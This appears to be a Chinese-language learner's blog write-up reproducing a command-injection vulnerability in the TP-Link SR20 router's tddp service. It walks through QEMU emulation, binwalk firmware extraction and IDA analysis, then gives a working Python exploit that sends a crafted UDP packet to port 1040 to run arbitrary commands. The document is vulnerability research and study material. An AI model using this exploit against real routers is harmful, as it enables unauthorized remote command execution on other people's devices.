TP-Link SR20 的一个漏洞,关于漏洞的解析和漏洞证明代码(POC)比较简单,适合我这样的新手进行学习和复现。
首先,我们先从官网下载固件
路由器的二进制文件大多数是arm或者mips架构的,而我们的Linux大多数是amd架构的,不兼容。所以我们需要配置一个arm架构的Linux虚拟机
为了在amd上模拟arm架构,我们需要下载 QEMU来进行模拟
wget https://download.qemu.org/qemu-3.1.0.tar.xz # 下载源码
tar xvJf qemu-4.0.0-rc1.tar.xz #解压源码压缩包
cd qemu-4.0.0-rc1 # 进入源码目录
./configure --target-list=arm-softmmu --audio-drv-list=alsa,pa # 编译前配置
$ make # 编译
Binwalk 是一款文件的分析工具,旨在协助研究人员对文件进行分析,提取及逆向工程
sudo apt install git
git clone https://github.com/ReFirmLabs/binwalk
cd binwalk
python setup.py install
sudo ./deps.sh $ Debian/Ubuntu 系统用户可以直接使用 deps.sh 脚本安装所有的依赖
从Ubuntu官网上下载关于arm架构的虚拟机的镜像
创建一个给虚拟机用的硬盘空间
qemu-img create -f qcow2 hda.qcow 8G
编写启动脚本
qemu-system-aarch64 -m 2048 -cpu cortex-a57 -M virt -bios QEMU_EFI.fd -nographic -drive if=none,file=hda.qcow2,id=hd0 -device virtio-blk-device,drive=hd0 -net nic,macaddr=00:16:3e:00:00:04 -net tap -smp 4 -nographic
跟着网上的流程安装好虚拟机,配置情况大致如此
然后就是网卡的设置,建议跟随这个
进行配置
我们下载的固件并不是一个能分析的文件,我们要先用binwalk来进行提取
binwalk -Me file.bin
提取出来后的文件
其中squashfs-root便是我们要分析的东西了
在该文件系统目录下查找存在漏洞的 tddp 文件并查看文件类型可以看到该文件是一个 ARM 架构的小端(Small-Endian)32 位 ELF 文件
将tddp放到ida 32里面进行逆向分析
可以看到三个是获取对应参数的值
进入936c查看
这里设置sockopt来进行交互,并输出了tddp task start,说明交互从这开始
我们继续往下面看,进入data handle 看看
这里有一个 recvfrom 函数用来接收 socket 数据,存放到 a1+0xB01B 地址中,之后将 a1 传入 CMD_handle 函数。
跟进去看看
看到了cmd,说明这里调用处理的指令,锁定到0x31进行分析
这里调用了 sscanf 函数对传进来的结构体进行解析之后,拼接到 run_exec 函数中进行命令执行。但是这里过滤不严(只判断了 ; 字符,没有过滤 & 和 | 符号),可以进行命令注入,导致拼接恶意代码后可以进行任意命令执行。
首先我们启动虚拟机,然后修改根目录,进行挂载
mount -o bind /dev ./squashfs-root/dev/
mount -t proc /proc/ ./squashfs-root/proc/
chroot squashfs-root sh
使用 nmap 的 UDP 扫描端口是开放的
我们要想触发漏洞,就得让case为0x31,也就是a1+0xB01C的地方为0x31
我们x来跟进追寻一下a1的踪迹
这里v16是a1+0xB01B的指针位置,而下面要求v21,也就是要求v161,所以第一个0xB01B字节应该是0x01来进过检查,然后就是0xB01C的位置是0x31来触发漏洞
但是指针后移12位,因此中间需要填充
payload如下
脚本如下
from pwn import *
from socket import *
import sys
tddp_port = 1040
recv_port = 12345
ip = sys.argv[1]
command = sys.argv[2]
s_send = socket(AF_INET,SOCK_DGRAM,0)
s_recv = socket(AF_INET,SOCK_DGRAM,0)
s_recv.bind(('',12345))
payload = '\x01\x31'.ljust(12,'\x00')
payload+= "123|%s&&echo ;123"%(command)
pay=bytes(payload,'utf-8')
s_send.sendto(pay,(ip,tddp_port))
s_send.close()
res,addr = s_recv.recvfrom(1024)
print (res)
执行脚本
python exp.py 192.168.153.135 "uname|ls"
结果
可以看到这里确实是弹出来shell,但是不能打开/dev/null,估计是虚拟机和固件的问题,如果有真机应该不会这样